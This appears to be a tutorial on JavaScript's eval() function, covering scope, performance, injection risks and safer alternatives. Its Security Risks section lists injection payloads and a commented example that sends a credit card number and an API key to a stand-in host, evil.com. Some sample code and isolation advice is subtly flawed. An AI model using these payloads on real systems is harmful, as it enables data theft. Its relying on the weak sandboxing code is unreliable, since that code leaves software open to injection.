JavaScript eval() Function: Understanding Dynamic Code Execution
Learn about the eval() function in JavaScript, its uses, security risks, and safer alternatives. Understand when and how to avoid using eval.
JavaScript eval() Function: Understanding Dynamic Code Execution
The eval()
function is one of JavaScript's most powerful and controversial features. It executes a string of JavaScript code in the current scope, but comes with significant security and performance concerns. This guide explores everything you need to know about eval()
, including why it's often considered harmful and what alternatives exist.
What is eval()?
The eval()
function evaluates JavaScript code represented as a string and returns the result of the last expression.
// Basic eval usage
const result = eval('2 + 2');
console.log(result); // 4
// Evaluating expressions
eval('console.log("Hello from eval!")'); // Hello from eval!
// Creating variables
eval('var x = 10');
console.log(x); // 10
// Defining functions
eval('function greet(name) { return "Hello, " + name; }');
console.log(greet('World')); // Hello, World
How eval() Works
Execution Context
eval()
executes code in the current execution context, having access to local variables.
function testEval() {
const localVar = 'I am local';
// eval can access local variables
eval('console.log(localVar)'); // I am local
// eval can modify local variables
eval('localVar = "Modified"');
console.log(localVar); // Still "I am local" (const cannot be reassigned)
let mutableVar = 'Original';
eval('mutableVar = "Changed"');
console.log(mutableVar); // Changed
}
testEval();
// Global context
const globalVar = 'Global';
eval('console.log(globalVar)'); // Global
Direct vs Indirect eval
JavaScript distinguishes between direct and indirect eval calls.
// Direct eval - has access to local scope
function directEval() {
const local = 'Local variable';
eval('console.log(local)'); // Local variable
}
// Indirect eval - only has access to global scope
function indirectEval() {
const local = 'Local variable';
const geval = eval;
try {
geval('console.log(local)'); // Error: local is not defined
} catch (e) {
console.error('Indirect eval cannot access local scope');
}
// Other ways to call eval indirectly
(0, eval)('console.log("Indirect eval")');
window.eval('console.log("Also indirect")');
eval.call(null, 'console.log("Indirect with call")');
}
directEval();
indirectEval();
Strict Mode Behavior
In strict mode, eval has its own scope.
'use strict';
function strictEval() {
const x = 1;
// In strict mode, eval has its own scope
eval('var y = 2');
console.log(x); // 1
// console.log(y); // Error: y is not defined
// Variables created in eval are contained
eval('var z = 3; console.log(z);'); // 3
// z is not accessible here
}
// Non-strict mode
function nonStrictEval() {
eval('var a = 10');
console.log(a); // 10 - variable escapes eval
}
Common Use Cases (And Why to Avoid Them)
1. Dynamic Property Access
// Bad: Using eval for property access
const obj = { name: 'John', age: 30 };
const propName = 'name';
const value = eval('obj.' + propName); // Don't do this!
// Good: Use bracket notation
const betterValue = obj[propName]; // Much better!
// Complex property paths
const data = {
user: {
profile: {
name: 'Alice',
},
},
};
// Bad: eval for nested access
const path = 'user.profile.name';
const nestedValue = eval('data.' + path); // Dangerous!
// Good: Safe property access
function getNestedProperty(obj, path) {
return path.split('.').reduce((curr, prop) => curr?.[prop], obj);
}
const safeValue = getNestedProperty(data, path); // Safe!
2. Dynamic Function Creation
// Bad: Using eval to create functions
const operation = 'add';
const func = eval(`
function ${operation}(a, b) {
return a + b;
}
${operation}
`);
// Good: Use Function constructor or object methods
const operations = {
add: (a, b) => a + b,
subtract: (a, b) => a - b,
multiply: (a, b) => a * b,
};
const betterFunc = operations[operation];
// Or use Function constructor (still be careful)
const funcConstructor = new Function('a', 'b', 'return a + b');
3. JSON Parsing (Historical)
// Very bad: Using eval for JSON parsing (pre-JSON.parse era)
const jsonString = '{"name": "John", "age": 30}';
const data = eval('(' + jsonString + ')'); // Extremely dangerous!
// Good: Use JSON.parse
const safeData = JSON.parse(jsonString); // Safe and standard
// With error handling
function parseJSON(str) {
try {
return JSON.parse(str);
} catch (e) {
console.error('Invalid JSON:', e);
return null;
}
}
4. Mathematical Expressions
// Bad: Using eval for math expressions
function calculate(expression) {
return eval(expression); // Dangerous if user-provided!
}
// Better: Use a safe expression parser
function safeCalculate(expression) {
// Whitelist allowed characters
if (!/^[\d\+\-\*\/\(\)\.\s]+$/.test(expression)) {
throw new Error('Invalid expression');
}
// Still risky, but somewhat safer
try {
return Function('"use strict"; return (' + expression + ')')();
} catch (e) {
throw new Error('Calculation error');
}
}
// Best: Use a proper math expression library
// Example: math.js, expr-eval, etc.
Security Risks
Code Injection
The primary risk of eval is code injection attacks.
// Dangerous: User input in eval
function dangerousSearch(userInput) {
// If userInput is: "x'; alert('Hacked!'); var x='"
eval("var x = '" + userInput + "'"); // Executes arbitrary code!
}
// Attack examples
const maliciousInputs = [
"'; alert('XSS'); //",
"'; while(true){} //", // DoS attack
"'; import('http://evil.com/steal-data.js'); //",
];
// Safe alternative
function safeSearch(userInput) {
// Sanitize and validate input
const sanitized = userInput.replace(/[^\w\s]/g, '');
// Use the sanitized value without eval
return performSearch(sanitized);
}
Access to Scope
// eval can access sensitive data in scope
function processPayment(creditCard) {
const secretKey = 'super-secret-api-key';
// Dangerous: eval can access secretKey
function executeUserCode(code) {
return eval(code); // Can access creditCard and secretKey!
}
// Attacker could do:
// executeUserCode('fetch("http://evil.com/steal", {
// method: "POST",
// body: JSON.stringify({ cc: creditCard, key: secretKey })
// })');
}
// Safe: Isolate execution
function safeExecute(code) {
// Use Web Workers or other isolation techniques
const worker = new Worker(
'data:application/javascript,' + encodeURIComponent(code)
);
// Handle results safely
}
Global Pollution
// eval can pollute global scope
eval('var globalPollutant = "I should not exist"');
console.log(window.globalPollutant); // "I should not exist"
// Can override built-ins
eval('Array = function() { return "Broken!" }');
// Now Array constructor is broken!
// Protection: Use strict mode and indirect eval
('use strict');
(0, eval)('var contained = "This stays in global"');
Performance Implications
JIT Optimization Issues
// eval prevents JavaScript engine optimizations
function slowFunction(x) {
eval(''); // Even empty eval affects performance
return x * 2;
}
// Optimized function
function fastFunction(x) {
return x * 2; // Can be optimized by JIT compiler
}
// Performance comparison
console.time('slow');
for (let i = 0; i < 1000000; i++) {
slowFunction(i);
}
console.timeEnd('slow');
console.time('fast');
for (let i = 0; i < 1000000; i++) {
fastFunction(i);
}
console.timeEnd('fast');
// fast is significantly faster
Scope Chain Modification
// eval modifies scope chain, preventing optimizations
function withEval() {
const data = [];
for (let i = 0; i < 1000; i++) {
eval('data.push(i)'); // Slow: scope chain lookup
}
return data;
}
function withoutEval() {
const data = [];
for (let i = 0; i < 1000; i++) {
data.push(i); // Fast: direct access
}
return data;
}
Safe Alternatives to eval()
1. Function Constructor
// Somewhat safer than eval, but still be careful
const add = new Function('a', 'b', 'return a + b');
console.log(add(2, 3)); // 5
// For dynamic code generation
function createFunction(params, body) {
// Validate inputs
if (!Array.isArray(params) || typeof body !== 'string') {
throw new Error('Invalid function definition');
}
// Basic sanitization
const safeBody = body.replace(/[^\w\s\+\-\*\/\(\)\{\}\[\]\.\,\;\=\<\>]/g, '');
return new Function(...params, safeBody);
}
const multiply = createFunction(['x', 'y'], 'return x * y');
console.log(multiply(4, 5)); // 20
2. Safe Expression Evaluators
// Build your own safe evaluator
class SafeEvaluator {
constructor() {
this.operators = {
'+': (a, b) => a + b,
'-': (a, b) => a - b,
'*': (a, b) => a * b,
'/': (a, b) => a / b,
'%': (a, b) => a % b,
};
}
evaluate(expression) {
// Simple tokenizer (real implementation would be more complex)
const tokens = expression.match(/\d+|\+|\-|\*|\/|\%/g);
if (!tokens) throw new Error('Invalid expression');
// Simple evaluation (left to right, no precedence)
let result = parseFloat(tokens[0]);
for (let i = 1; i < tokens.length; i += 2) {
const operator = tokens[i];
const operand = parseFloat(tokens[i + 1]);
if (this.operators[operator]) {
result = this.operators[operator](result, operand);
} else {
throw new Error('Unknown operator: ' + operator);
}
}
return result;
}
}
const evaluator = new SafeEvaluator();
console.log(evaluator.evaluate('10 + 5 * 2')); // 30 (not 20, no precedence)
3. Template Literals for String Building
// Instead of eval for string templates
// Bad:
function badTemplate(name, age) {
return eval('`Hello ${name}, you are ${age} years old`');
}
// Good:
function goodTemplate(name, age) {
return `Hello ${name}, you are ${age} years old`;
}
// Dynamic templates
function renderTemplate(template, data) {
// Safe template rendering
return template.replace(/\{\{(\w+)\}\}/g, (match, key) => {
return data[key] || '';
});
}
const result = renderTemplate('Hello {{name}}, age {{age}}', {
name: 'John',
age: 30,
});
console.log(result); // Hello John, age 30
4. Web Workers for Isolation
// Execute untrusted code in isolation
function executeInWorker(code) {
return new Promise((resolve, reject) => {
const blob = new Blob(
[
`
try {
const result = ${code};
self.postMessage({ success: true, result });
} catch (error) {
self.postMessage({ success: false, error: error.message });
}
`,
],
{ type: 'application/javascript' }
);
const worker = new Worker(URL.createObjectURL(blob));
worker.onmessage = (e) => {
URL.revokeObjectURL(blob);
worker.terminate();
if (e.data.success) {
resolve(e.data.result);
} else {
reject(new Error(e.data.error));
}
};
worker.onerror = (error) => {
URL.revokeObjectURL(blob);
worker.terminate();
reject(error);
};
});
}
// Usage
executeInWorker('2 + 2').then((result) => {
console.log('Result:', result); // Result: 4
});
5. Domain-Specific Languages (DSLs)
// Create a safe DSL for specific use cases
class QueryBuilder {
constructor() {
this.conditions = [];
}
where(field, operator, value) {
const allowedOperators = ['=', '!=', '>', '<', '>=', '<='];
if (!allowedOperators.includes(operator)) {
throw new Error('Invalid operator');
}
this.conditions.push({ field, operator, value });
return this;
}
build() {
return this.conditions
.map(({ field, operator, value }) => {
// Safe string building
return `${field} ${operator} ${JSON.stringify(value)}`;
})
.join(' AND ');
}
}
const query = new QueryBuilder()
.where('age', '>', 18)
.where('status', '=', 'active')
.build();
console.log(query); // age > 18 AND status = "active"
When eval() Might Be Acceptable
Development Tools
// Browser console implementations
class DevConsole {
execute(code) {
// Only in development environment
if (process.env.NODE_ENV === 'development') {
try {
const result = eval(code);
console.log('Result:', result);
return result;
} catch (error) {
console.error('Execution error:', error);
}
} else {
console.warn('Console execution disabled in production');
}
}
}
// REPL implementations
function createREPL() {
if (process.env.NODE_ENV !== 'development') {
throw new Error('REPL only available in development');
}
return {
eval: (code) => {
// Still dangerous, but acceptable for dev tools
return eval(code);
},
};
}
Code Transpilation
// Transpilers and build tools might use eval
function transpileTemplate(template) {
// Convert custom syntax to JavaScript
const jsCode = template
.replace(/\{\{(.+?)\}\}/g, '${$1}')
.replace(/\bIF\b/g, 'if')
.replace(/\bTHEN\b/g, '{')
.replace(/\bENDIF\b/g, '}');
// In build tools, this might be acceptable
return new Function(
'data',
`
with(data) {
return \`${jsCode}\`;
}
`
);
}
Best Practices
1. Avoid eval() Whenever Possible
// Always look for alternatives first
const operations = {
create: () => console.log('Creating...'),
read: () => console.log('Reading...'),
update: () => console.log('Updating...'),
delete: () => console.log('Deleting...'),
};
// Bad
const action = 'create';
eval(`operations.${action}()`);
// Good
operations[action]();
2. Validate and Sanitize Input
function saferEval(code, whitelist = /^[\d\+\-\*\/\(\)\s]+$/) {
// Strict validation
if (!whitelist.test(code)) {
throw new Error('Invalid characters in expression');
}
// Additional length check
if (code.length > 100) {
throw new Error('Expression too long');
}
// Use indirect eval to avoid local scope access
return (0, eval)(code);
}
3. Use Content Security Policy
<!-- In your HTML -->
<meta
http-equiv="Content-Security-Policy"
content="script-src 'self'; object-src 'none';"
/>
<!-- This prevents eval() and inline scripts -->
4. Isolate Execution Context
// Use iframes for isolation
function isolatedEval(code) {
const iframe = document.createElement('iframe');
iframe.style.display = 'none';
iframe.sandbox = 'allow-scripts';
document.body.appendChild(iframe);
try {
return iframe.contentWindow.eval(code);
} finally {
document.body.removeChild(iframe);
}
}
5. Lint Rules
// ESLint configuration
{
"rules": {
"no-eval": "error",
"no-implied-eval": "error",
"no-new-func": "error"
}
}
// TypeScript can also help prevent eval usage
// @ts-expect-error: eval is forbidden
eval('console.log("This will cause a TS error")');
Conclusion
The eval()
function is a powerful but dangerous feature of JavaScript. While it can execute any JavaScript code dynamically, it comes with severe security risks and performance penalties. In almost all cases, there are safer alternatives available.
Key takeaways:
- Avoid eval() in production code
- Never use eval() with user input
- Consider security implications carefully
- Use alternatives like JSON.parse, Function constructor, or custom parsers
- Isolate execution when dynamic code execution is necessary
- Enable CSP to prevent eval usage in browsers
Remember: "eval is evil" is a common saying in the JavaScript community for good reasons. Always exhaust all other options before considering eval(), and even then, think twice about the security implications.